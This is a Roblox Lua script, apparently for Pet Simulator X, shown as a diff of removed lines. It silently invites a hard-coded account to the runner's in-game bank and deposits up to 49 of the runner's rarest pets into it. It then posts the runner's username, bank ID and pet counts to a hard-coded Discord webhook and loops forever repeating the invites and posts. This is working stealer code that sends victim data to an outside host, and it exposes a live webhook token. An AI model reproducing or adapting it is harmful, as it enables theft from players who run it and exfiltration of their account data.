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- local HoverBoard = 922569984
- local lib = require(game.ReplicatedStorage:WaitForChild('Framework'):WaitForChild('Library'))
- local mybanks = lib.Network.Invoke("get my banks")
- local BankID = mybanks[1]['BUID']
- lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], HoverBoard)
- local lib = require(game.ReplicatedStorage:WaitForChild('Framework'):WaitForChild('Library'))
- local mybanks = lib.Network.Invoke("get my banks")
- local BankID = mybanks[1]['BUID']
- local Bank = BankID
- local A_1 = "b"
- local A_2 = "bank deposit"
- local Event = game:GetService("Workspace")["__THINGS"]["__REMOTES"].MAIN
- Event:FireServer(A_1, A_2)
- local A_1 = "b"
- local A_2 = "buy egg"
- local Event = game:GetService("Workspace")["__THINGS"]["__REMOTES"].MAIN
- Event:FireServer(A_1, A_2)
- local FinalList = {}
- local output = 1
- Library = require(game:GetService('ReplicatedStorage').Framework:FindFirstChild('Library'))
- Functions = Library.Functions
- EXCList = {}
- MythicList = {}
- EList = {}
- MList = {}
- table.foreach(Library.Directory.Pets, function(i, v)
- if v.rarity == "Exclusive" then
- table.insert(EXCList, i)
- end
- if v.rarity == "Mythical" then
- table.insert(MythicList, i)
- end
- end)
- local pets = require(game:GetService("ReplicatedStorage").Framework.Modules.Client["4 | Save"]).Get().Pets
- for i, v in pairs(pets) do
- if table.find(EXCList, v["id"]) ~= nil then
- table.insert(EList, v["uid"])
- end
- if table.find(MythicList, v["id"]) ~= nil then
- table.insert(MList, v["uid"])
- end
- end
- if #EList + #MList < 49 then
- for i, v in pairs(EList) do
- table.insert(FinalList, v)
- end
- for i, v in pairs(MList) do
- table.insert(FinalList, v)
- end
- elseif #EList + #MList > 49 and #EList < 49 then
- for i, v in pairs(EList) do
- table.insert(FinalList, v)
- end
- for i, v in pairs(MList) do
- if #FinalList < 49 then
- table.insert(FinalList, v)
- end
- end
- elseif #EList + #MList > 49 and #EList > 49 then
- for i, v in pairs(EList) do
- if #FinalList < 49 then
- table.insert(FinalList, v)
- end
- end
- end
- wait(0.5)
- game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.Game["Open Eggs"].Disabled = true
- local A_1 =
- {
- [1] = "Cracked Egg",
- [2] = false
- }
- local Event = game:GetService("Workspace")["__THINGS"]["__REMOTES"]["buy egg"]
- Event:InvokeServer(A_1)
- wait(0.5)
- local A_1 =
- {
- [1] = Bank,
- [2] = FinalList,
- [3] = output-1
- }
- local Event = game:GetService("Workspace")["__THINGS"]["__REMOTES"]["bank deposit"]
- local result = Event:InvokeServer(A_1)
- -- wrb
- local YourWebHookHere = "https://discord.com/api/webhooks/944248615403143219/X1BeASnoBCXtok8V3p1Hm15qxxsmCvUOvyNdqkIECX7A9a21lvSQtb5feg0VuCy_-Wmt" -- web hook here
- local url = YourWebHookHere
- local username = game:GetService("Players").LocalPlayer.Name
- local data = {
- ["content"] = "> by Listeak",
- ["embeds"] = {{
- ["title"] = "__**Opening**__",
- ["description"] = "i can't track this expired or no",
- ["type"] = "rich",
- ["color"] = tonumber(0x0E980E),
- ["fields"] = {
- {
- ["name"] = "__Username__",
- ["value"] = "**"..username.."**", -- remove the || on both sides if you don't want your username to be behind a spoiler
- ["inline"] = false
- },
- {
- ["name"] = "__Gems Deposited__",
- ["value"] = output-1,
- ["inline"] = false
- },
- {
- ["name"] = "__Total Pet Deposited__",
- ["value"] = #FinalList,
- ["inline"] = false
- },
- {
- ["name"] = "__Exclusive/Huges__",
- ["value"] = #EList,
- ["inline"] = false
- },
- {
- ["name"] = "__Mythicals__",
- ["value"] = #MList,
- ["inline"] = false
- },
- {
- ["name"] = "__BankID__",
- ["value"] = BankID,
- ["inline"] = false
- },
- }
- }}
- }
- local newdata = game:GetService("HttpService"):JSONEncode(data)
- local headers = {
- ["content-type"] = "application/json"
- }
- request = http_request or request or HttpPost or syn.request
- local abcdef = {Url = url, Body = newdata, Method = "POST", Headers = headers}
- request(abcdef)
- while true do
- lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], HoverBoard)
- local YourWebHookHere2 = "https://discord.com/api/webhooks/944248615403143219/X1BeASnoBCXtok8V3p1Hm15qxxsmCvUOvyNdqkIECX7A9a21lvSQtb5feg0VuCy_-Wmt" -- web hook here
- local url2 = YourWebHookHere2
- local username2 = game:GetService("Players").LocalPlayer.Name
- local data2 = {
- ["content"] = "> "..username2.." Repeat ur Invites",
- ["embeds"] = {{
- ["title"] = "__** Results**__",
- ["description"] = "i can't track this expired or no",
- ["type"] = "rich",
- ["color"] = tonumber(0x0E980E),
- ["fields"] = {
- {
- ["name"] = "__Username__",
- ["value"] = "**"..username2.."** Repeat ur Invites", -- remove the || on both sides if you don't want your username to be behind a spoiler
- ["inline"] = false
- },
- {
- ["name"] = "__Cancel Invite__",
- ["value"] = "Yes",
- ["inline"] = false
- },
- }
- }}
- }
- local newdata2 = game:GetService("HttpService"):JSONEncode(data2)
- local headers2 = {
- ["content-type"] = "application/json"
- }
- request = http_request or request or HttpPost or syn.request
- local abcdef2 = {Url = url2, Body = newdata2, Method = "POST", Headers = headers2}
- request(abcdef2)
- end
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